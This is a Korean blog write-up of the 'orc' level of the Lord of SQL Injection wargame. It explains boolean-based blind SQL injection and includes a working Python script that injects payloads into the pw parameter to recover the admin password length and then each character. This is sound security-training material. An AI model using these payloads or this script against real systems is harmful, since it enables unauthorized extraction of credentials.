power-girl0-0

[ Los ] orc 본문

War game/Lord of SQL Injection

[ Los ] orc

power-girl0-0 2021. 3. 19. 03:58
728x90

 

해당 글에서는 requests모듈을 사용하여 풀었기 때문에,

requests모듈에 대해 모르시는 분들은 아래 주소를 보고 오시면 좋을 듯 합니다.

( 2021.03.18 - [언어/Python] - requests 모듈 )


 

주소 : https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


[ 문제 ]


[ 풀이 ]

해당 문제에서는 아래 조건을 통과해야 CLEAR할 수 있다.

   if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

즉, pw를 맞춰야 문제가 풀린다.

 

소스코드의 9줄을 보니, id를 맞추면 'Hello admin'이라는 문장을 출력해준다.

이를 이용해서, Blind SQL Injection으로 비밀번호를 유추하여 문제를 풀 수 있었다.

 

Blind SQL Injection은 쿼리 결과 에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다.

따라서, id가 admin인 참의 결과를 이용해서 비밀번호를 유추할 수 있을 것으로 예상된다.

 

query문에 id는 이미 작성되어 있는 것을 확인할 수 있다.

이를 참고하여 or연산으로 "Hello admin"을 출력해보자.

? pw=' or 1=1%23

 #은 인식되지 않기 때문에 %23을 넣어줘서 주석처리를 하였다.

이제 본격적으로 Blind Injection 공격으로 비밀번호를 유추해보자.


1. 비밀번호 길이 구하기 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}

len_num = 0

while 1:
    len_num += 1
    value = " 'or id='admin' and length(pw)={} #".format(len_num)
    params = {'pw':value}
    response = requests.get(url,params=params, cookies=cookies)
    print(len_num)
    if "Hello admin" in response.text:
        print("len : ",len_num)
        break


2. 비밀번호 유추

 

해당 함수에서 인자로 불러와준 pw_len()은 위 1번에서 구한 비밀번호 길이 이다.

def ans_pw(len_num):
    pwd= ''
    for i in range(1, len_num+1):
        print(i,"번째 검색 중")
        for ch in range(48,122):
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch)
            params = {'pw':value}
            response = requests.get(url,params=params, cookies=cookies)
            print(ch)
            if "Hello admin" in response.text:
                pwd += chr(ch)
                print("password : ", pwd)
                break
        
    return pwd

ans_pw(pw_len())

3. CLEAR

 

최종적으로 합친 소스코드는 아래와 같다.

 

ord( ) 함수는 아스키 코드를 숫자로 만들어주는 함수이다.

반대로, chr( ) 함수는 숫자를 아스키코드로 바꿔주는 함수이다.

 

substr( ) 함수는 지정한 특정 위치의 문자를 출력해주는 함수이다.

형식은 substr("찾을 문자","시작위치","찾을 글자수")이다.

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}



def pw_len(): # 비밀번호 길이
    len_num = 0
    
    print("password 길이 ")
    while 1:
        len_num += 1
        value = " 'or id='admin' and length(pw)={} #".format(len_num)
        params = {'pw':value}
        response = requests.get(url,params=params, cookies=cookies)
        print(len_num)
        if "Hello admin" in response.text:
            print("password lenth : ",len_num)
            break
        
    return len_num

def ans_pw(len_num): #비밀번호 유추
    pwd= ''
    for i in range(1, len_num+1): #비밀번호 길이만큼 반복
        print(i,"번째 검색 중")
        for ch in range(48,122): #아스키코드 48부터 122까지 반복
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch) # 한글자씩 아스키코드 대입
            params = {'pw':value}
            response = requests.get(url,params=params, cookies=cookies)
            print(ch)
            if "Hello admin" in response.text:	# 비밀번호가 일치하면, 반복을 정지하기 위한 조건문
                pwd += chr(ch) #비밀번호를 순차적으로 저장
                print("password : ", pwd)
                break
        
    return pwd

ans_pw(pw_len())

 

문제를 클리어 하였다!!!!>_<

 

 

728x90

'War game > Lord of SQL Injection' 카테고리의 다른 글

[ Los ] darkelf  (0) 2021.03.20
[ Los ] wolfman  (0) 2021.03.20
[ Los ] goblin  (0) 2021.01.26
[ Los ] cobolt  (0) 2021.01.25
[ Los ] gremlin  (0) 2021.01.25
Comments